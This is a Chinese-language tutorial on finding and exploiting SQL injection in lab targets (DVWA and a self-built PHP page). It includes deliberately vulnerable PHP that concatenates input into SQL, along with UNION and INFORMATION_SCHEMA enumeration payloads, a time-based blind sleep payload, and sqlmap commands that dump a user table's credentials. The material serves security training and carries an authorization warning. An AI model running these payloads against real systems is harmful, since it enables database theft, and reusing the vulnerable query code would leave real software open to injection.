在上一章中,描述瞭如何進行SQL注入,以及SQL注入的思路。那麼怎麼發現一個地方是否可能是SQL注入點呢?
第一種方法:
再之前搭建的OWASP靶機中,選擇Damn Vulnerable Web Application 這個應用,賬戶名爲admin,密碼也爲admin。登陸成功後,選擇SQL 注入的頁面:
我們可以看到,這裏是一個用戶用戶查詢的界面,輸入用戶的id,會返回相應的用戶信息。點擊查看源代碼:
SQL Injection Source
<?php
if(isset($_GET['Submit'])){
// Retrieve data
$id = $_GET['id'];
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
$result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );
$num = mysql_numrows($result);
$i = 0;
while ($i < $num) {
$first = mysql_result($result,$i,"first_name");
$last = mysql_result($result,$i,"last_name");
echo '<pre>';
echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
echo '</pre>';
$i++;
}
}
?>
我們可以看到,關鍵的SQL語句在這裏:
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
此時,如果我們輸入一個‘:
這裏提示有錯誤,那麼說明可能是存在注入漏洞的。
然而,在上面的代碼中,對錯誤進行了處理:
$result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );
當發生錯誤時,會提示錯誤信息。但是有的代碼並不會提示錯誤信息,比如上一篇文章中寫的代碼。這時如果在搜索框輸入單引號,並不會提示錯誤任何信息。
這是可以用到基於時間的盲注,在查詢欄中輸入:
a’ and sleep(5)#
如何存在注入漏洞,那麼網頁會睡眠五秒後再次運行:
當發現注入點以後,攻擊者可能會選擇拖庫。但是我們知道,在操作數據庫的時候,需要知道數據庫中到底有哪些庫?又有哪些表?表中有哪些字段?如果沒辦法知道這些信息,是無法查詢信息。
在使用數據庫客戶端時,常常用到show databases,show tables 等命令,然後在注入點中,sql語句是完全寫好的,例如:
$sql = "select * from user where name = '$name'";
在這條sql語句中,我們只能改變name字段的信息,或者說name 變量的值,若我們使用show databases或是show tables指令,那麼這條sql語句就變成了:
select * from user where name = 'show databases';
代碼執行的結果即爲查詢用戶名爲“show databases”的信息,所以肯定是查不到的。
那麼如何查詢數據庫名和表名呢?在MySQL5.0以及以上版本中,提供了INFORMATION_SCHEMA 數據庫,其中記錄了所有的數據庫信息,表信息,以及列信息,通過查詢這個數據庫,就可以獲得需要知道的內容了。
例如:
select SCHEMA_NAME from INFORMATION_SCHEMA.SCHEMATA;
可以查詢數據庫的內容,只要把這條sql語句使用union聯合,就能得知我們想要的信息了。
通過SQL注入查詢所有數據庫信息:
在輸入框輸入: ’ union select SCHEMA_NAME,null from INFORMATION_SCHEMA.SCHEMATA#
即爲顯示所有數據庫的信息:
當然也可以查詢所有表的信息:
’ union select TABLE_NAME,null from INFORMATION_SCHEMA.TABLES#
查詢當前數據庫中的所有表:
’ union select TABLE_NAME,null from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA=(select database())#
也可以查詢指定表的所有字段:
’ union select COLUMN_NAME,null from INFORMATION_SCHEMA.COLUMNS where TABLE_NAME=‘user’#
在這個窗口的服務器中,select語句只包括了兩個字段,那麼在union select 查詢的時候,也只能跟兩個字段,帶來了極大的不便利。但是可以使用concat_ws()函數對字符串進行連接:
’ union select concat_ws(@@datadir, @@basedir, user(), current_user()),null#
在SQL注入中,以自動注入爲主,手動注入爲輔。提到自動注入,不得不提到一個非常有名的SQL注入工具——sqlmap。
sqlmap 是用一款開源的,python開發的sql注入工具。
sqlmap
請注意!根據中國網絡安全法,無論出於什麼目的,在沒有對方書面授權的情況下,請不要私自掃描他人網站的漏洞!
windows系統下,使用python sqlmap.py -h顯示指令:
常用的參數有,–dbms 指定數據庫的種類,例如MySQL,SQLServer, Oracle等等,–dump 下載數據庫等等。爲了演示sqlmap,我們新建一個index2.php文件在文件夾下,不需要cookie的判斷,並且將post方法改爲get方法。
<!DOCTYPE html>
<html lang="en">
<head>
<title> Hello World! </title>
<meta charset="UTF-8">
</head>
<body>
<form name="input" action="<?php echo $_SERVER['PHP_SELF']; ?>" method="get">
user: <br /><label>
<input type="text" name="username">
<input type="submit" value="query">
</label><br>
</form>
<?php
$conn = new mysqli("localhost","phpadmin","ppzz4869","PHP");
if ($conn->connect_error){
echo "connection fail";
}
$name = $_GET['username'];
$sql = "select * from user where name = '$name'";
$res = $conn->query($sql);
if ($res->num_rows > 0){
while ($row = $res->fetch_row()){
echo $row[0], "\t";
}
} else {
echo "no such user";
}
?>
</body>
</html>
當我們查詢用戶a時,可以看到地址欄顯示:
http://192.168.85.128/index2.php?username=a
這裏問號後的內容代表傳參,將a傳給username。接下來測試sqlmap:
python sqlmap.py -u "http://192.168.85.128/index2.php?username=a" --dbms=mysql
程序執行完成後顯示,MySQL的版本大於5.0.12, 並且支持時間盲注,布爾盲注和union查詢。代碼執行完成後,數據也被保存到了本地。使用參數–dbs可以獲取數據庫。
python sqlmap.py -u "http://192.168.85.128/index2.php?username=a" --dbms=mysql --dbs
可用的數據庫有兩個,PHP和information_schema。
python sqlmap.py -u "http://192.168.85.128/index2.php?username=a" --dbms=mysql --tables -D "PHP"
列出PHP庫中的所有表
可以看到PHP庫中只有一個user表格
python sqlmap.py -u "http://192.168.85.128/index2.php?username=a" --dbms=mysql --columns -T "user" -D "PHP"
列出user表中的所有字段名
當然也可以加入–dump參數,將數據庫的內容下載到本地。
python sqlmap.py -u "http://192.168.85.128/index2.php?username=a" --dump -C "name,psw" -T "user" -D "PHP"
下載完成後:
dump下來的內容在output文件夾下,以csv的格式存儲。
當然,除了get模式,sqlmap同時也支持post模式的sql注入。
在訪問頁面的過程中,使用burp抓包(burp抓包以後有機會詳細寫),將內容以txt的形式保存到本地:
POST /index.php HTTP/1.1
Host: 192.168.85.128
Content-Length: 11
Cache-Control: max-age=0
Origin: http://192.168.85.128
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.116 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.85.128/index.php
Accept-Encoding: gzip, deflate
Accept-Language: en,zh;q=0.9,zh-TW;q=0.8,en-US;q=0.7,zh-CN;q=0.6
Cookie: username=a
Connection: close
username=aa
保存成功以後,運行sqlmap:
python sqlmap.py -r "C:\Users\tong\post.txt" --dbms=mysql --batch
運行結束後,發現可以進行注入。